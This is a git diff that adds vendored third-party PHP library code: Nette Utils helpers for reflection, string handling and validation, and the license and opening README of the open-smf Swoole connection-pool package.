elseif ($lower === 'self' || $lower === 'static') { + return $context->name; + + } elseif ($name[0] === '\\') { // fully qualified name + return ltrim($name, '\\'); + } + + $uses = self::getUseStatements($context); + $parts = explode('\\', $name, 2); + if (isset($uses[$parts[0]])) { + $parts[0] = $uses[$parts[0]]; + return implode('\\', $parts); + + } elseif ($context->inNamespace()) { + return $context->getNamespaceName() . '\\' . $name; + + } else { + return $name; + } + } + + + /** @return array of [alias => class] */ + public static function getUseStatements(\ReflectionClass $class): array + { + if ($class->isAnonymous()) { + throw new Nette\NotImplementedException('Anonymous classes are not supported.'); + } + static $cache = []; + if (!isset($cache[$name = $class->name])) { + if ($class->isInternal()) { + $cache[$name] = []; + } else { + $code = file_get_contents($class->getFileName()); + $cache = self::parseUseStatements($code, $name) + $cache; + } + } + return $cache[$name]; + } + + + /** + * Parses PHP code to [class => [alias => class, ...]] + */ + private static function parseUseStatements(string $code, string $forClass = null): array + { + try { + $tokens = token_get_all($code, TOKEN_PARSE); + } catch (\ParseError $e) { + trigger_error($e->getMessage(), E_USER_NOTICE); + $tokens = []; + } + $namespace = $class = $classLevel = $level = null; + $res = $uses = []; + + $nameTokens = PHP_VERSION_ID < 80000 + ? [T_STRING, T_NS_SEPARATOR] + : [T_STRING, T_NS_SEPARATOR, T_NAME_QUALIFIED, T_NAME_FULLY_QUALIFIED]; + + while ($token = current($tokens)) { + next($tokens); + switch (is_array($token) ? $token[0] : $token) { + case T_NAMESPACE: + $namespace = ltrim(self::fetch($tokens, $nameTokens) . '\\', '\\'); + $uses = []; + break; + + case T_CLASS: + case T_INTERFACE: + case T_TRAIT: + if ($name = self::fetch($tokens, T_STRING)) { + $class = $namespace . $name; + $classLevel = $level + 1; + $res[$class] = $uses; + if ($class === $forClass) { + return $res; + } + } + break; + + case T_USE: + while (!$class && ($name = self::fetch($tokens, $nameTokens))) { + $name = ltrim($name, '\\'); + if (self::fetch($tokens, '{')) { + while ($suffix = self::fetch($tokens, $nameTokens)) { + if (self::fetch($tokens, T_AS)) { + $uses[self::fetch($tokens, T_STRING)] = $name . $suffix; + } else { + $tmp = explode('\\', $suffix); + $uses[end($tmp)] = $name . $suffix; + } + if (!self::fetch($tokens, ',')) { + break; + } + } + + } elseif (self::fetch($tokens, T_AS)) { + $uses[self::fetch($tokens, T_STRING)] = $name; + + } else { + $tmp = explode('\\', $name); + $uses[end($tmp)] = $name; + } + if (!self::fetch($tokens, ',')) { + break; + } + } + break; + + case T_CURLY_OPEN: + case T_DOLLAR_OPEN_CURLY_BRACES: + case '{': + $level++; + break; + + case '}': + if ($level === $classLevel) { + $class = $classLevel = null; + } + $level--; + } + } + + return $res; + } + + + private static function fetch(array &$tokens, $take): ?string + { + $res = null; + while ($token = current($tokens)) { + [$token, $s] = is_array($token) ? $token : [$token, $token]; + if (in_array($token, (array) $take, true)) { + $res .= $s; + } elseif (!in_array($token, [T_DOC_COMMENT, T_WHITESPACE, T_COMMENT], true)) { + break; + } + next($tokens); + } + return $res; + } +} diff --git a/vendor/nette/utils/src/Utils/SmartObject.php b/vendor/nette/utils/src/Utils/SmartObject.php new file mode 100644 index 0000000..52e9946 --- /dev/null +++ b/vendor/nette/utils/src/Utils/SmartObject.php @@ -0,0 +1,122 @@ +$name ?? null; + if (is_iterable($handlers)) { + foreach ($handlers as $handler) { + $handler(...$args); + } + } elseif ($handlers !== null) { + throw new UnexpectedValueException("Property $class::$$name must be iterable or null, " . gettype($handlers) . ' given.'); + } + + } else { + ObjectHelpers::strictCall($class, $name); + } + } + + + /** + * @throws MemberAccessException + */ + public static function __callStatic(string $name, array $args) + { + ObjectHelpers::strictStaticCall(static::class, $name); + } + + + /** + * @return mixed + * @throws MemberAccessException if the property is not defined. + */ + public function &__get(string $name) + { + $class = get_class($this); + + if ($prop = ObjectHelpers::getMagicProperties($class)[$name] ?? null) { // property getter + if (!($prop & 0b0001)) { + throw new MemberAccessException("Cannot read a write-only property $class::\$$name."); + } + $m = ($prop & 0b0010 ? 'get' : 'is') . $name; + if ($prop & 0b0100) { // return by reference + return $this->$m(); + } else { + $val = $this->$m(); + return $val; + } + } else { + ObjectHelpers::strictGet($class, $name); + } + } + + + /** + * @param mixed $value + * @return void + * @throws MemberAccessException if the property is not defined or is read-only + */ + public function __set(string $name, $value) + { + $class = get_class($this); + + if (ObjectHelpers::hasProperty($class, $name)) { // unsetted property + $this->$name = $value; + + } elseif ($prop = ObjectHelpers::getMagicProperties($class)[$name] ?? null) { // property setter + if (!($prop & 0b1000)) { + throw new MemberAccessException("Cannot write to a read-only property $class::\$$name."); + } + $this->{'set' . $name}($value); + + } else { + ObjectHelpers::strictSet($class, $name); + } + } + + + /** + * @return void + * @throws MemberAccessException + */ + public function __unset(string $name) + { + $class = get_class($this); + if (!ObjectHelpers::hasProperty($class, $name)) { + throw new MemberAccessException("Cannot unset the property $class::\$$name."); + } + } + + + public function __isset(string $name): bool + { + return isset(ObjectHelpers::getMagicProperties(get_class($this))[$name]); + } +} diff --git a/vendor/nette/utils/src/Utils/StaticClass.php b/vendor/nette/utils/src/Utils/StaticClass.php new file mode 100644 index 0000000..d877933 --- /dev/null +++ b/vendor/nette/utils/src/Utils/StaticClass.php @@ -0,0 +1,34 @@ += 0xD800 && $code <= 0xDFFF) || $code > 0x10FFFF) { + throw new Nette\InvalidArgumentException('Code point must be in range 0x0 to 0xD7FF or 0xE000 to 0x10FFFF.'); + } elseif (!extension_loaded('iconv')) { + throw new Nette\NotSupportedException(__METHOD__ . '() requires ICONV extension that is not loaded.'); + } + return iconv('UTF-32BE', 'UTF-8//IGNORE', pack('N', $code)); + } + + + /** + * Starts the $haystack string with the prefix $needle? + */ + public static function startsWith(string $haystack, string $needle): bool + { + return strncmp($haystack, $needle, strlen($needle)) === 0; + } + + + /** + * Ends the $haystack string with the suffix $needle? + */ + public static function endsWith(string $haystack, string $needle): bool + { + return $needle === '' || substr($haystack, -strlen($needle)) === $needle; + } + + + /** + * Does $haystack contain $needle? + */ + public static function contains(string $haystack, string $needle): bool + { + return strpos($haystack, $needle) !== false; + } + + + /** + * Returns a part of UTF-8 string specified by starting position and length. If start is negative, + * the returned string will start at the start'th character from the end of string. + */ + public static function substring(string $s, int $start, int $length = null): string + { + if (function_exists('mb_substr')) { + return mb_substr($s, $start, $length, 'UTF-8'); // MB is much faster + } elseif (!extension_loaded('iconv')) { + throw new Nette\NotSupportedException(__METHOD__ . '() requires extension ICONV or MBSTRING, neither is loaded.'); + } elseif ($length === null) { + $length = self::length($s); + } elseif ($start < 0 && $length < 0) { + $start += self::length($s); // unifies iconv_substr behavior with mb_substr + } + return iconv_substr($s, $start, $length, 'UTF-8'); + } + + + /** + * Removes control characters, normalizes line breaks to `\n`, removes leading and trailing blank lines, + * trims end spaces on lines, normalizes UTF-8 to the normal form of NFC. + */ + public static function normalize(string $s): string + { + // convert to compressed normal form (NFC) + if (class_exists('Normalizer', false) && ($n = \Normalizer::normalize($s, \Normalizer::FORM_C)) !== false) { + $s = $n; + } + + $s = self::normalizeNewLines($s); + + // remove control characters; leave \t + \n + $s = self::pcre('preg_replace', ['#[\x00-\x08\x0B-\x1F\x7F-\x9F]+#u', '', $s]); + + // right trim + $s = self::pcre('preg_replace', ['#[\t ]+$#m', '', $s]); + + // leading and trailing blank lines + $s = trim($s, "\n"); + + return $s; + } + + + /** + * Standardize line endings to unix-like. + */ + public static function normalizeNewLines(string $s): string + { + return str_replace(["\r\n", "\r"], "\n", $s); + } + + + /** + * Converts UTF-8 string to ASCII, ie removes diacritics etc. + */ + public static function toAscii(string $s): string + { + $iconv = defined('ICONV_IMPL') ? trim(ICONV_IMPL, '"\'') : null; + static $transliterator = null; + if ($transliterator === null && class_exists('Transliterator', false)) { + $transliterator = \Transliterator::create('Any-Latin; Latin-ASCII'); + } + + // remove control characters and check UTF-8 validity + $s = self::pcre('preg_replace', ['#[^\x09\x0A\x0D\x20-\x7E\xA0-\x{2FF}\x{370}-\x{10FFFF}]#u', '', $s]); + + // transliteration (by Transliterator and iconv) is not optimal, replace some characters directly + $s = strtr($s, ["\u{201E}" => '"', "\u{201C}" => '"', "\u{201D}" => '"', "\u{201A}" => "'", "\u{2018}" => "'", "\u{2019}" => "'", "\u{B0}" => '^', "\u{42F}" => 'Ya', "\u{44F}" => 'ya', "\u{42E}" => 'Yu', "\u{44E}" => 'yu']); // „ “ ” ‚ ‘ ’ ° Я я Ю ю + if ($iconv !== 'libiconv') { + $s = strtr($s, ["\u{AE}" => '(R)', "\u{A9}" => '(c)', "\u{2026}" => '...', "\u{AB}" => '<<', "\u{BB}" => '>>', "\u{A3}" => 'lb', "\u{A5}" => 'yen', "\u{B2}" => '^2', "\u{B3}" => '^3', "\u{B5}" => 'u', "\u{B9}" => '^1', "\u{BA}" => 'o', "\u{BF}" => '?', "\u{2CA}" => "'", "\u{2CD}" => '_', "\u{2DD}" => '"', "\u{1FEF}" => '', "\u{20AC}" => 'EUR', "\u{2122}" => 'TM', "\u{212E}" => 'e', "\u{2190}" => '<-', "\u{2191}" => '^', "\u{2192}" => '->', "\u{2193}" => 'V', "\u{2194}" => '<->']); // ® © … « » £ ¥ ² ³ µ ¹ º ¿ ˊ ˍ ˝ ` € ™ ℮ ← ↑ → ↓ ↔ + } + + if ($transliterator) { + $s = $transliterator->transliterate($s); + // use iconv because The transliterator leaves some characters out of ASCII, eg → ʾ + if ($iconv === 'glibc') { + $s = strtr($s, '?', "\x01"); // temporarily hide ? to distinguish them from the garbage that iconv creates + $s = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s); + $s = str_replace(['?', "\x01"], ['', '?'], $s); // remove garbage and restore ? characters + } elseif ($iconv === 'libiconv') { + $s = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s); + } else { // null or 'unknown' (#216) + $s = self::pcre('preg_replace', ['#[^\x00-\x7F]++#', '', $s]); // remove non-ascii chars + } + } elseif ($iconv === 'glibc' || $iconv === 'libiconv') { + // temporarily hide these characters to distinguish them from the garbage that iconv creates + $s = strtr($s, '`\'"^~?', "\x01\x02\x03\x04\x05\x06"); + if ($iconv === 'glibc') { + // glibc implementation is very limited. transliterate into Windows-1250 and then into ASCII, so most Eastern European characters are preserved + $s = iconv('UTF-8', 'WINDOWS-1250//TRANSLIT//IGNORE', $s); + $s = strtr($s, + "\xa5\xa3\xbc\x8c\xa7\x8a\xaa\x8d\x8f\x8e\xaf\xb9\xb3\xbe\x9c\x9a\xba\x9d\x9f\x9e\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf8\xf9\xfa\xfb\xfc\xfd\xfe\x96\xa0\x8b\x97\x9b\xa6\xad\xb7", + 'ALLSSSSTZZZallssstzzzRAAAALCCCEEEEIIDDNNOOOOxRUUUUYTsraaaalccceeeeiiddnnooooruuuuyt- <->|-.'); + $s = self::pcre('preg_replace', ['#[^\x00-\x7F]++#', '', $s]); + } else { + $s = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s); + } + // remove garbage that iconv creates during transliteration (eg Ý -> Y') + $s = str_replace(['`', "'", '"', '^', '~', '?'], '', $s); + // restore temporarily hidden characters + $s = strtr($s, "\x01\x02\x03\x04\x05\x06", '`\'"^~?'); + } else { + $s = self::pcre('preg_replace', ['#[^\x00-\x7F]++#', '', $s]); // remove non-ascii chars + } + + return $s; + } + + + /** + * Modifies the UTF-8 string to the form used in the URL, ie removes diacritics and replaces all characters + * except letters of the English alphabet and numbers with a hyphens. + */ + public static function webalize(string $s, string $charlist = null, bool $lower = true): string + { + $s = self::toAscii($s); + if ($lower) { + $s = strtolower($s); + } + $s = self::pcre('preg_replace', ['#[^a-z0-9' . ($charlist !== null ? preg_quote($charlist, '#') : '') . ']+#i', '-', $s]); + $s = trim($s, '-'); + return $s; + } + + + /** + * Truncates a UTF-8 string to given maximal length, while trying not to split whole words. Only if the string is truncated, + * an ellipsis (or something else set with third argument) is appended to the string. + */ + public static function truncate(string $s, int $maxLen, string $append = "\u{2026}"): string + { + if (self::length($s) > $maxLen) { + $maxLen -= self::length($append); + if ($maxLen < 1) { + return $append; + + } elseif ($matches = self::match($s, '#^.{1,' . $maxLen . '}(?=[\s\x00-/:-@\[-`{-~])#us')) { + return $matches[0] . $append; + + } else { + return self::substring($s, 0, $maxLen) . $append; + } + } + return $s; + } + + + /** + * Indents a multiline text from the left. Second argument sets how many indentation chars should be used, + * while the indent itself is the third argument (*tab* by default). + */ + public static function indent(string $s, int $level = 1, string $chars = "\t"): string + { + if ($level > 0) { + $s = self::replace($s, '#(?:^|[\r\n]+)(?=[^\r\n])#', '$0' . str_repeat($chars, $level)); + } + return $s; + } + + + /** + * Converts all characters of UTF-8 string to lower case. + */ + public static function lower(string $s): string + { + return mb_strtolower($s, 'UTF-8'); + } + + + /** + * Converts the first character of a UTF-8 string to lower case and leaves the other characters unchanged. + */ + public static function firstLower(string $s): string + { + return self::lower(self::substring($s, 0, 1)) . self::substring($s, 1); + } + + + /** + * Converts all characters of a UTF-8 string to upper case. + */ + public static function upper(string $s): string + { + return mb_strtoupper($s, 'UTF-8'); + } + + + /** + * Converts the first character of a UTF-8 string to upper case and leaves the other characters unchanged. + */ + public static function firstUpper(string $s): string + { + return self::upper(self::substring($s, 0, 1)) . self::substring($s, 1); + } + + + /** + * Converts the first character of every word of a UTF-8 string to upper case and the others to lower case. + */ + public static function capitalize(string $s): string + { + return mb_convert_case($s, MB_CASE_TITLE, 'UTF-8'); + } + + + /** + * Compares two UTF-8 strings or their parts, without taking character case into account. If length is null, whole strings are compared, + * if it is negative, the corresponding number of characters from the end of the strings is compared, + * otherwise the appropriate number of characters from the beginning is compared. + */ + public static function compare(string $left, string $right, int $length = null): bool + { + if (class_exists('Normalizer', false)) { + $left = \Normalizer::normalize($left, \Normalizer::FORM_D); // form NFD is faster + $right = \Normalizer::normalize($right, \Normalizer::FORM_D); // form NFD is faster + } + + if ($length < 0) { + $left = self::substring($left, $length, -$length); + $right = self::substring($right, $length, -$length); + } elseif ($length !== null) { + $left = self::substring($left, 0, $length); + $right = self::substring($right, 0, $length); + } + return self::lower($left) === self::lower($right); + } + + + /** + * Finds the common prefix of strings or returns empty string if the prefix was not found. + * @param string[] $strings + */ + public static function findPrefix(array $strings): string + { + $first = array_shift($strings); + for ($i = 0; $i < strlen($first); $i++) { + foreach ($strings as $s) { + if (!isset($s[$i]) || $first[$i] !== $s[$i]) { + while ($i && $first[$i - 1] >= "\x80" && $first[$i] >= "\x80" && $first[$i] < "\xC0") { + $i--; + } + return substr($first, 0, $i); + } + } + } + return $first; + } + + + /** + * Returns number of characters (not bytes) in UTF-8 string. + * That is the number of Unicode code points which may differ from the number of graphemes. + */ + public static function length(string $s): int + { + return function_exists('mb_strlen') ? mb_strlen($s, 'UTF-8') : strlen(utf8_decode($s)); + } + + + /** + * Removes all left and right side spaces (or the characters passed as second argument) from a UTF-8 encoded string. + */ + public static function trim(string $s, string $charlist = self::TRIM_CHARACTERS): string + { + $charlist = preg_quote($charlist, '#'); + return self::replace($s, '#^[' . $charlist . ']+|[' . $charlist . ']+$#Du', ''); + } + + + /** + * Pads a UTF-8 string to given length by prepending the $pad string to the beginning. + */ + public static function padLeft(string $s, int $length, string $pad = ' '): string + { + $length = max(0, $length - self::length($s)); + $padLen = self::length($pad); + return str_repeat($pad, (int) ($length / $padLen)) . self::substring($pad, 0, $length % $padLen) . $s; + } + + + /** + * Pads UTF-8 string to given length by appending the $pad string to the end. + */ + public static function padRight(string $s, int $length, string $pad = ' '): string + { + $length = max(0, $length - self::length($s)); + $padLen = self::length($pad); + return $s . str_repeat($pad, (int) ($length / $padLen)) . self::substring($pad, 0, $length % $padLen); + } + + + /** + * Reverses UTF-8 string. + */ + public static function reverse(string $s): string + { + if (!extension_loaded('iconv')) { + throw new Nette\NotSupportedException(__METHOD__ . '() requires ICONV extension that is not loaded.'); + } + return iconv('UTF-32LE', 'UTF-8', strrev(iconv('UTF-8', 'UTF-32BE', $s))); + } + + + /** + * Returns part of $haystack before $nth occurence of $needle or returns null if the needle was not found. + * Negative value means searching from the end. + */ + public static function before(string $haystack, string $needle, int $nth = 1): ?string + { + $pos = self::pos($haystack, $needle, $nth); + return $pos === null + ? null + : substr($haystack, 0, $pos); + } + + + /** + * Returns part of $haystack after $nth occurence of $needle or returns null if the needle was not found. + * Negative value means searching from the end. + */ + public static function after(string $haystack, string $needle, int $nth = 1): ?string + { + $pos = self::pos($haystack, $needle, $nth); + return $pos === null + ? null + : substr($haystack, $pos + strlen($needle)); + } + + + /** + * Returns position in bytes of $nth occurence of $needle in $haystack or null if the $needle was not found. + * Negative value of `$nth` means searching from the end. + */ + public static function indexOf(string $haystack, string $needle, int $nth = 1): ?int + { + $pos = self::pos($haystack, $needle, $nth); + return $pos === null + ? null + : self::length(substr($haystack, 0, $pos)); + } + + + /** + * Returns position in bytes of $nth occurence of $needle in $haystack or null if the needle was not found. + */ + private static function pos(string $haystack, string $needle, int $nth = 1): ?int + { + if (!$nth) { + return null; + } elseif ($nth > 0) { + if ($needle === '') { + return 0; + } + $pos = 0; + while (($pos = strpos($haystack, $needle, $pos)) !== false && --$nth) { + $pos++; + } + } else { + $len = strlen($haystack); + if ($needle === '') { + return $len; + } + $pos = $len - 1; + while (($pos = strrpos($haystack, $needle, $pos - $len)) !== false && ++$nth) { + $pos--; + } + } + return Helpers::falseToNull($pos); + } + + + /** + * Splits a string into array by the regular expression. + * Argument $flag takes same arguments as preg_split(), but PREG_SPLIT_DELIM_CAPTURE is set by default. + */ + public static function split(string $subject, string $pattern, int $flags = 0): array + { + return self::pcre('preg_split', [$pattern, $subject, -1, $flags | PREG_SPLIT_DELIM_CAPTURE]); + } + + + /** + * Checks if given string matches a regular expression pattern and returns an array with first found match and each subpattern. + * Argument $flag takes same arguments as function preg_match(). + */ + public static function match(string $subject, string $pattern, int $flags = 0, int $offset = 0): ?array + { + if ($offset > strlen($subject)) { + return null; + } + return self::pcre('preg_match', [$pattern, $subject, &$m, $flags, $offset]) + ? $m + : null; + } + + + /** + * Finds all occurrences matching regular expression pattern and returns a two-dimensional array. + * Argument $flag takes same arguments as function preg_match_all(), but PREG_SET_ORDER is set by default. + */ + public static function matchAll(string $subject, string $pattern, int $flags = 0, int $offset = 0): array + { + if ($offset > strlen($subject)) { + return []; + } + self::pcre('preg_match_all', [ + $pattern, $subject, &$m, + ($flags & PREG_PATTERN_ORDER) ? $flags : ($flags | PREG_SET_ORDER), + $offset, + ]); + return $m; + } + + + /** + * Replaces all occurrences matching regular expression $pattern which can be string or array in the form `pattern => replacement`. + * @param string|array $pattern + * @param string|callable $replacement + */ + public static function replace(string $subject, $pattern, $replacement = null, int $limit = -1): string + { + if (is_object($replacement) || is_array($replacement)) { + if (!is_callable($replacement, false, $textual)) { + throw new Nette\InvalidStateException("Callback '$textual' is not callable."); + } + return self::pcre('preg_replace_callback', [$pattern, $replacement, $subject, $limit]); + + } elseif ($replacement === null && is_array($pattern)) { + $replacement = array_values($pattern); + $pattern = array_keys($pattern); + } + + return self::pcre('preg_replace', [$pattern, $replacement, $subject, $limit]); + } + + + /** @internal */ + public static function pcre(string $func, array $args) + { + $res = Callback::invokeSafe($func, $args, function (string $message) use ($args): void { + // compile-time error, not detectable by preg_last_error + throw new RegexpException($message . ' in pattern: ' . implode(' or ', (array) $args[0])); + }); + + if (($code = preg_last_error()) // run-time error, but preg_last_error & return code are liars + && ($res === null || !in_array($func, ['preg_filter', 'preg_replace_callback', 'preg_replace'], true)) + ) { + throw new RegexpException((RegexpException::MESSAGES[$code] ?? 'Unknown error') + . ' (pattern: ' . implode(' or ', (array) $args[0]) . ')', $code); + } + return $res; + } +} diff --git a/vendor/nette/utils/src/Utils/Validators.php b/vendor/nette/utils/src/Utils/Validators.php new file mode 100644 index 0000000..8005a52 --- /dev/null +++ b/vendor/nette/utils/src/Utils/Validators.php @@ -0,0 +1,369 @@ + */ + protected static $validators = [ + // PHP types + 'array' => 'is_array', + 'bool' => 'is_bool', + 'boolean' => 'is_bool', + 'float' => 'is_float', + 'int' => 'is_int', + 'integer' => 'is_int', + 'null' => 'is_null', + 'object' => 'is_object', + 'resource' => 'is_resource', + 'scalar' => 'is_scalar', + 'string' => 'is_string', + + // pseudo-types + 'callable' => [__CLASS__, 'isCallable'], + 'iterable' => 'is_iterable', + 'list' => [Arrays::class, 'isList'], + 'mixed' => [__CLASS__, 'isMixed'], + 'none' => [__CLASS__, 'isNone'], + 'number' => [__CLASS__, 'isNumber'], + 'numeric' => [__CLASS__, 'isNumeric'], + 'numericint' => [__CLASS__, 'isNumericInt'], + + // string patterns + 'alnum' => 'ctype_alnum', + 'alpha' => 'ctype_alpha', + 'digit' => 'ctype_digit', + 'lower' => 'ctype_lower', + 'pattern' => null, + 'space' => 'ctype_space', + 'unicode' => [__CLASS__, 'isUnicode'], + 'upper' => 'ctype_upper', + 'xdigit' => 'ctype_xdigit', + + // syntax validation + 'email' => [__CLASS__, 'isEmail'], + 'identifier' => [__CLASS__, 'isPhpIdentifier'], + 'uri' => [__CLASS__, 'isUri'], + 'url' => [__CLASS__, 'isUrl'], + + // environment validation + 'class' => 'class_exists', + 'interface' => 'interface_exists', + 'directory' => 'is_dir', + 'file' => 'is_file', + 'type' => [__CLASS__, 'isType'], + ]; + + /** @var array */ + protected static $counters = [ + 'string' => 'strlen', + 'unicode' => [Strings::class, 'length'], + 'array' => 'count', + 'list' => 'count', + 'alnum' => 'strlen', + 'alpha' => 'strlen', + 'digit' => 'strlen', + 'lower' => 'strlen', + 'space' => 'strlen', + 'upper' => 'strlen', + 'xdigit' => 'strlen', + ]; + + + /** + * Verifies that the value is of expected types separated by pipe. + * @param mixed $value + * @throws AssertionException + */ + public static function assert($value, string $expected, string $label = 'variable'): void + { + if (!static::is($value, $expected)) { + $expected = str_replace(['|', ':'], [' or ', ' in range '], $expected); + static $translate = ['boolean' => 'bool', 'integer' => 'int', 'double' => 'float', 'NULL' => 'null']; + $type = $translate[gettype($value)] ?? gettype($value); + if (is_int($value) || is_float($value) || (is_string($value) && strlen($value) < 40)) { + $type .= ' ' . var_export($value, true); + } elseif (is_object($value)) { + $type .= ' ' . get_class($value); + } + throw new AssertionException("The $label expects to be $expected, $type given."); + } + } + + + /** + * Verifies that element $key in array is of expected types separated by pipe. + * @param mixed[] $array + * @param int|string $key + * @throws AssertionException + */ + public static function assertField(array $array, $key, string $expected = null, string $label = "item '%' in array"): void + { + if (!array_key_exists($key, $array)) { + throw new AssertionException('Missing ' . str_replace('%', $key, $label) . '.'); + + } elseif ($expected) { + static::assert($array[$key], $expected, str_replace('%', $key, $label)); + } + } + + + /** + * Verifies that the value is of expected types separated by pipe. + * @param mixed $value + */ + public static function is($value, string $expected): bool + { + foreach (explode('|', $expected) as $item) { + if (substr($item, -2) === '[]') { + if (is_iterable($value) && self::everyIs($value, substr($item, 0, -2))) { + return true; + } + continue; + } elseif (substr($item, 0, 1) === '?') { + $item = substr($item, 1); + if ($value === null) { + return true; + } + } + + [$type] = $item = explode(':', $item, 2); + if (isset(static::$validators[$type])) { + try { + if (!static::$validators[$type]($value)) { + continue; + } + } catch (\TypeError $e) { + continue; + } + } elseif ($type === 'pattern') { + if (Strings::match($value, '|^' . ($item[1] ?? '') . '$|D')) { + return true; + } + continue; + } elseif (!$value instanceof $type) { + continue; + } + + if (isset($item[1])) { + $length = $value; + if (isset(static::$counters[$type])) { + $length = static::$counters[$type]($value); + } + $range = explode('..', $item[1]); + if (!isset($range[1])) { + $range[1] = $range[0]; + } + if (($range[0] !== '' && $length < $range[0]) || ($range[1] !== '' && $length > $range[1])) { + continue; + } + } + return true; + } + return false; + } + + + /** + * Finds whether all values are of expected types separated by pipe. + * @param mixed[] $values + */ + public static function everyIs(iterable $values, string $expected): bool + { + foreach ($values as $value) { + if (!static::is($value, $expected)) { + return false; + } + } + return true; + } + + + /** + * Checks if the value is an integer or a float. + * @param mixed $value + */ + public static function isNumber($value): bool + { + return is_int($value) || is_float($value); + } + + + /** + * Checks if the value is an integer or a integer written in a string. + * @param mixed $value + */ + public static function isNumericInt($value): bool + { + return is_int($value) || (is_string($value) && preg_match('#^[+-]?[0-9]+$#D', $value)); + } + + + /** + * Checks if the value is a number or a number written in a string. + * @param mixed $value + */ + public static function isNumeric($value): bool + { + return is_float($value) || is_int($value) || (is_string($value) && preg_match('#^[+-]?[0-9]*[.]?[0-9]+$#D', $value)); + } + + + /** + * Checks if the value is a syntactically correct callback. + * @param mixed $value + */ + public static function isCallable($value): bool + { + return $value && is_callable($value, true); + } + + + /** + * Checks if the value is a valid UTF-8 string. + * @param mixed $value + */ + public static function isUnicode($value): bool + { + return is_string($value) && preg_match('##u', $value); + } + + + /** + * Checks if the value is 0, '', false or null. + * @param mixed $value + */ + public static function isNone($value): bool + { + return $value == null; // intentionally == + } + + + /** @internal */ + public static function isMixed(): bool + { + return true; + } + + + /** + * Checks if a variable is a zero-based integer indexed array. + * @param mixed $value + * @deprecated use Nette\Utils\Arrays::isList + */ + public static function isList($value): bool + { + return Arrays::isList($value); + } + + + /** + * Checks if the value is in the given range [min, max], where the upper or lower limit can be omitted (null). + * Numbers, strings and DateTime objects can be compared. + * @param mixed $value + */ + public static function isInRange($value, array $range): bool + { + if ($value === null || !(isset($range[0]) || isset($range[1]))) { + return false; + } + $limit = $range[0] ?? $range[1]; + if (is_string($limit)) { + $value = (string) $value; + } elseif ($limit instanceof \DateTimeInterface) { + if (!$value instanceof \DateTimeInterface) { + return false; + } + } elseif (is_numeric($value)) { + $value *= 1; + } else { + return false; + } + return (!isset($range[0]) || ($value >= $range[0])) && (!isset($range[1]) || ($value <= $range[1])); + } + + + /** + * Checks if the value is a valid email address. It does not verify that the domain actually exists, only the syntax is verified. + */ + public static function isEmail(string $value): bool + { + $atom = "[-a-z0-9!#$%&'*+/=?^_`{|}~]"; // RFC 5322 unquoted characters in local-part + $alpha = "a-z\x80-\xFF"; // superset of IDN + return (bool) preg_match(<< 'Internal error', + PREG_BACKTRACK_LIMIT_ERROR => 'Backtrack limit was exhausted', + PREG_RECURSION_LIMIT_ERROR => 'Recursion limit was exhausted', + PREG_BAD_UTF8_ERROR => 'Malformed UTF-8 data', + PREG_BAD_UTF8_OFFSET_ERROR => 'Offset didn\'t correspond to the begin of a valid UTF-8 code point', + 6 => 'Failed due to limited JIT stack space', // PREG_JIT_STACKLIMIT_ERROR + ]; +} + + +/** + * The exception that indicates assertion error. + */ +class AssertionException extends \Exception +{ +} diff --git a/vendor/open-smf/connection-pool/.gitignore b/vendor/open-smf/connection-pool/.gitignore new file mode 100644 index 0000000..4ea43d4 --- /dev/null +++ b/vendor/open-smf/connection-pool/.gitignore @@ -0,0 +1,4 @@ +vendor +.idea +composer.lock +*.sw[a-z] \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/LICENSE b/vendor/open-smf/connection-pool/LICENSE new file mode 100644 index 0000000..8226a7c --- /dev/null +++ b/vendor/open-smf/connection-pool/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Swoole Micro-Framework + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/open-smf/connection-pool/README.md b/vendor/open-smf/connection-pool/README.md new file mode 100644 index 0000000..a746821 --- /dev/null +++ b/vendor/open-smf/connection-pool/README.md @@ -0,0 +1,223 @@ +# Connection pool +A common connection pool based on Swoole is usually used as the database connection pool. + +[![Latest Version](https://img.shields.io/github/release/open-smf/connection-pool.svg)](https://github.com/open-smf/connection-pool/releases) +[![PHP Version](https://img.shields.io/packagist/php-v/open-smf/connection-pool.svg?color=green)](https://secure.php.net) +[![Total Downloads](https://poser.pugx.org/open-smf/connection-pool/downloads)](https://packagist.org/packages/open-smf/connection-pool) +[![License](https://poser.pugx.org/open-smf/connection-pool/license)](LICENSE) + +## Requirements + +| Dependency | Requirement | +| -------- | -------- | +| [PHP](https://secure.php.net/manual/en/install.php) | `>=7.0.0` | +| [Swoole](https://github.com/swoole/swoole-src) | `>=4.2.9` `Recommend 4.2.13+` | + +## Install +> Install package via [Composer](https://getcomposer.org/). + +```shell +composer require "open-smf/connection-pool:~1.0" +``` + +## Usage +> See more [examples](examples). + +- Available connectors + +| Connector | Connection description | +| -------- | -------- | +| CoroutineMySQLConnector | Instance of `Swoole\Coroutine\MySQL` | +| CoroutinePostgreSQLConnector | Instance of `Swoole\Coroutine\PostgreSQL`, require configuring `Swoole` with `--enable-coroutine-postgresql`| 